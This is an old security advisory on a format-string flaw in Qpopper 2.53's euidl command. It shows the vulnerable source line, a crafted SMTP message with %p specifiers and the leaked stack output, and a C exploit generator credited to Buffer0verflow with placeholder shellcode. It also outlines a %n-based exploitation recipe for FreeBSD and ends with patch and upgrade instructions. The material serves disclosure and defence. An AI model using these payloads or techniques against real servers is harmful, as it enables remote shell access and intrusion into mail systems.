COMMAND
popper
SYSTEMS AFFECTED
Qpopper 2.53 for *NIX
PROBLEM
Following is based on a buffer0verfl0w security advisory #5.
Qpopper is the most widely-used server for the POP3 protocol.
This allows users to access their mail using any POP3 client.
Qpopper supports the latest standards, and includes a large number
of optional features. Qpopper is normally used with standard UNIX
mail transfer and delivery agents such as sendmail or smail.
There is a bug in version 2.53 of Qpop that can give you a remote
shell with gid=mail. Problem is with euidl command which uses
user input as format string for pop_msg() function. Lets examine
following code from Qpop 2.53 source:
--> pop_uidl.c, around line 150:
................
sprintf(buffer, "%d %s", msg_id, mp->uidl_str);
if (nl = index(buffer, NEWLINE)) *nl = 0;
sprintf(buffer, "%s %d %.128s", buffer, mp->length, from_hdr(p, mp));
! return (pop_msg (p,POP_SUCCESS, buffer));
^^^^^^^^^^^^^
Function pop_msg() is declared in pop_msg.c as pop_msg(POP *p, int
stat, const char *format,...), and here we have user-input as
format string. Lame. Ok, back to problem, imagine following
smtp session:
MAIL FROM:<hakker@evil.org>
200 Ok
RCPT TO:<luser@host.withqpop253.com>
200 Ok
data
200 Okey, okey. end with "."
Subject: still trust qpop?=/
X-UIDL: AAAAAAAAAAAAAAAA
From: %p%p%p%p%p%p%p
test
.
200 BLABLABLA Ok, message accepted for delivery.
Then, luser connects with his pop account and runs euidl command
there:
+OK QPOP (version 2.53) at b0f starting. <666.666@b0f>
USER luser
+OK Password required for luser.
PASS secret
+OK luser has 3 messages (1644 octets).
euidl 3
+OK 2 AAAAAAAAAAAAAAAA 530 0xbfbfc9b00x804fd740xbfbfc9b00x2120x8052e5e0xbfbfd1e80x8057028
Yeah, thats from testing box with FreeBSD. As you can see, our
%p%p%p%p%p%p%p where implemented as arguments for vsnprintf()
command.
Is this possible to exploit? Yeah, sure! But there are some
limits. Qpopper2.53 from FreeBSD ports with patches is much more
difficult to exploit than one from linux. It is because FreeBSD
patches change vsprintf() call in pop_msg.c to vsnprintf() call,
and there is big difference between them. Qpopper with FreeBSD's
patches IS exploitable.
/* qpop_euidl.c exploit by prizm/Buffer0verflow Security
*
* Sample exploit for buffer overflow in Qpopper 2.53.
* This little proggie generates a mail u need to send.
*
* Standard disclaimer applies.
* By the way, exploit is broken =) You need to insert shellcode.
*
* MAD greets to tf8 for pointing out the bug, and all other b0f members.
* greets to USSRLabs and ADM
* check http://b0f.freebsd.lublin.pl/ for news.
*/
#include <stdio.h>
#include <string.h>
char shellcode[]="imnothing";
int main(int argc, char *argv[])
{
int i;
unsigned long ra=0;
if(argc!=2) {
fprintf(stderr,"Usage: %s return_addr\n", argv[0]);
exit(0);
}
sscanf(argv[1], "%x", &ra);
if(!ra)
return;
if(sizeof(shellcode) < 12 || sizeof(shellcode) > 76) {
fprintf(stderr,"Bad shellcode\n");
exit(0);
}
fprintf(stderr,"return address: 0x%.8x\n", ra);
printf("X-UIDL: ");
for(i=0; i < sizeof(shellcode);i++)
printf("%c", shellcode[i]);
printf("\r\n");
printf("From: %s", "%.1000d");
for(i=0; i < 50; i++)
printf("%c%c%c%c", (ra & 0xff), (ra & 0xff00)>>8, (ra & 0xff0000)>>16, (ra & 0xff000000)>>24);
printf("@test\r\n");
printf("Subject: test\r\n\r\nhuh?\r\n.\r\n");
return 0;
}
What about exploiting QPOP from FreeBSD ports. It is NOT easy,
because vsprintf() is replaced with vsnprintf() so we can't
overflow stack, but we still have control over it (remeber %n?).
You are not going to find exploit for this because it is really
generic, but we will explain theory on exploiting qpop with
vsNprintf. There is an little trick with %n You should know.
Try to understand why folowing code succeeds and prints out 2000,
not sizeof(b):
#include <stdio.h>
int main(void){
int s=1; char b[1024]; int q;
snprintf(b, sizeof(b), "%.2000d%n", 1, &q);
return printf("%d, overflowed? %s\n", q, (s==1?"NO":"YES"));
}
On box with FreeBSD 3.4 we have 2000, overflowed? NO! Hah,
first time you expected to see 1024, but You know that all is
unpredictable. So, this little thing will help us a lot.
Exploiting it:
a) Find where in stack is located user input.
b) Compose a message with filed X-UIDL and From:
X-UIDL: ppRETARETARETARETA
From: <SHELLCODE>%.RETURNd%n@test
where:
"pp" is for padding (two or three chars)
"RETA" is return address pointing to SHELLCODE
"SHELLCODE" guess
"RETURN" return address
Exploit? If you need an exploit that will work on FreeBSD, code
it yourself.
Cobalt RaQ 3 with OS Update 3.0 seems to be yet vulnerable to
this bug.
SOLUTION
You can download Qpopper 3.1 at
http://www.eudora.com/freeware/qpop.html#CURRENT
which is not vulnerable to this problem. Or you can manually
patch it by doing the following. At lines 150 and 62 from
pop_uidl.c, replace:
- return (pop_msg (p,POP_SUCCESS, buffer));
to:
+ return (pop_msg (p,POP_SUCCESS, "%s", buffer));
This problem does not exist in Qpopper 3.0.2, which is the current
released version. Anyone using an older version of Qpopper is
urged to upgrade to 3.0.2 or later (3.1 is in beta and is
available as well).
For SuSE Linux use:
ftp://ftp.suse.com/pub/suse/axp/update/6.3/n1/pop-2000.6.7-0.alpha.rpm
ftp://ftp.suse.com/pub/suse/axp/update/6.3/zq1/pop-2000.6.7-0.src.rpm
ftp://ftp.suse.com/pub/suse/axp/update/6.4/n1/pop-2000.6.7-0.alpha.rpm
ftp://ftp.suse.com/pub/suse/axp/update/6.4/zq1/pop-2000.6.7-0.src.rpm
ftp://ftp.suse.com/pub/suse/i386/update/6.2/n1/pop-2000.6.8-0.i386.rpm
ftp://ftp.suse.com/pub/suse/i386/update/6.2/zq1/pop-2000.6.8-0.src.rpm
ftp://ftp.suse.com/pub/suse/i386/update/6.3/n1/pop-2000.6.7-0.i386.rpm
ftp://ftp.suse.com/pub/suse/i386/update/6.3/zq1/pop-2000.6.7-0.src.rpm
ftp://ftp.suse.com/pub/suse/i386/update/6.4/n1/pop-2000.6.7-0.i386.rpm
ftp://ftp.suse.com/pub/suse/i386/update/6.4/zq1/pop-2000.6.7-0.src.rpm
ftp://ftp.suse.com/pub/suse/ppc/update/6.3/n1/pop-2000.6.7-0.ppc.rpm
ftp://ftp.suse.com/pub/suse/ppc/update/6.3/zq1/pop-2000.6.7-0.src.rpm
ftp://ftp.suse.com/pub/suse/ppc/update/6.4/n1/pop-2000.6.7-0.ppc.rpm
ftp://ftp.suse.com/pub/suse/ppc/update/6.4/zq1/pop-2000.6.7-0.src.rpm
For FreeBSD deinstall the qpopper-2.53 port/package, if you you
have installed it. Solution is one of the following:
1) Upgrade your entire ports collection and rebuild the
qpopper port, or upgrade to qpopper-3.0.2 available in
/usr/ports/mail/popper3.
2) Deinstall the old package and install a new package dated
after the correction date (2000-05-25), obtained from:
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-3-stable/mail/qpopper-2.53.tgz
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-4-stable/mail/qpopper-2.53.tgz
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/alpha/packages-4-stable/mail/qpopper-2.53.tgz
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-5-current/mail/qpopper-2.53.tgz
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/alpha/packages-5-current/mail/qpopper-2.53.tgz
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-3-stable/mail/qpopper3-3.0.2.tgz
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-4-stable/mail/qpopper3-3.0.2.tgz
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/alpha/packages-4-stable/mail/qpopper3-3.0.2.tgz
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-5-current/mail/qpopper3-3.0.2.tgz
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/alpha/packages-5-current/mail/qpopper3-3.0.2.tgz
3) download a new port skeleton for the qpopper port from:
http://www.freebsd.org/ports/
and use it to rebuild the port.